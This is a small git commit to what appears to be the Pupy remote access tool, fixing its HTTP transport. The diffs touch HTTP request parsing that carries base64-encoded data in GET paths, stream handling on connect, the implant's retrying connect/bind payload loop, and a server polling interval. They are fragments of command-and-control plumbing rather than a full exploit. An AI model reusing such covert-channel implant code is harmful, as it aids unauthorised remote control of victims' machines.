fix bug in http transport

This commit is contained in:
n1nj4sec 2016-06-04 18:22:30 +02:00
parent c3eff9893e
commit d1319db4c5
5 changed files with 5 additions and 8 deletions

View File

@ -109,9 +109,6 @@ class TransportWrapper(BasePupyTransport):
#downstream chaining : #downstream chaining :
self.insts[0].downstream=self.downstream self.insts[0].downstream=self.downstream
self.insts[0].circuit.downstream=self.downstream self.insts[0].circuit.downstream=self.downstream
#overloading len of buffer with the max of all chained buff
#self.upstream.overload_len = (lambda s:max([len(x.upstream.buffer) for x in self.insts]))
#self.downstream.overload_len = (lambda s:max([len(x.downstream.buffer) for x in self.insts]))
def on_connect(self): def on_connect(self):
for ins in self.insts: for ins in self.insts:

View File

@ -44,7 +44,7 @@ class PupySocketStream(SocketStream):
def on_connect(self): def on_connect(self):
self.transport.on_connect() self.transport.on_connect()
#super(PupySocketStream, self).write(self.downstream.read()) super(PupySocketStream, self).write(self.downstream.read())
def _read(self): def _read(self):
try: try:

View File

@ -26,6 +26,8 @@ def http_req2data(s):
if not s.startswith("GET "): if not s.startswith("GET "):
raise InvalidHTTPReq() raise InvalidHTTPReq()
first_line=s.split("\r\n")[0] first_line=s.split("\r\n")[0]
if not first_line.endswith(" HTTP/1.1"):
raise InvalidHTTPReq()
method, path, http_ver=first_line.split() method, path, http_ver=first_line.split()
try: try:
decoded_data=base64.b64decode(path[1:]) decoded_data=base64.b64decode(path[1:])
@ -101,7 +103,7 @@ class PupyHTTPClient(PupyHTTPTransport):
if name=="Content-Length": if name=="Content-Length":
content_length=int(value) content_length=int(value)
break break
if content_length is None: if content_length is None or len(rest)<content_length:
break break
decoded_data+=base64.b64decode(rest[:content_length]) decoded_data+=base64.b64decode(rest[:content_length])
length_to_drain=content_length+4+len(head) length_to_drain=content_length+4+len(head)

View File

@ -173,7 +173,6 @@ def main():
pupy.infos['launcher_inst']=launcher pupy.infos['launcher_inst']=launcher
pupy.infos['transport']=launcher.get_transport() pupy.infos['transport']=launcher.get_transport()
rpyc_loop(launcher) rpyc_loop(launcher)
finally: finally:
time.sleep(get_next_wait(attempt)) time.sleep(get_next_wait(attempt))
attempt+=1 attempt+=1
@ -187,7 +186,6 @@ def rpyc_loop(launcher):
server_class, port, address, authenticator, stream, transport, transport_kwargs = ret server_class, port, address, authenticator, stream, transport, transport_kwargs = ret
s=server_class(BindSlaveService, port=port, hostname=address, authenticator=authenticator, stream=stream, transport=transport, transport_kwargs=transport_kwargs) s=server_class(BindSlaveService, port=port, hostname=address, authenticator=authenticator, stream=stream, transport=transport, transport_kwargs=transport_kwargs)
s.start() s.start()
else: # connect payload else: # connect payload
stream=ret stream=ret
def check_timeout(event, cb, timeout=10): def check_timeout(event, cb, timeout=10):

View File

@ -331,7 +331,7 @@ class PupyServer(threading.Thread):
stream=launcher.iterate().next() stream=launcher.iterate().next()
conn=rpyc.utils.factory.connect_stream(stream, PupyService.PupyBindService, {}) conn=rpyc.utils.factory.connect_stream(stream, PupyService.PupyBindService, {})
bgsrv=rpyc.BgServingThread(conn) bgsrv=rpyc.BgServingThread(conn)
bgsrv.SLEEP_INTERVAL=0.01 # consume ressources but faster response ... bgsrv.SLEEP_INTERVAL=0.001 # consume ressources but faster response ...
def run(self): def run(self):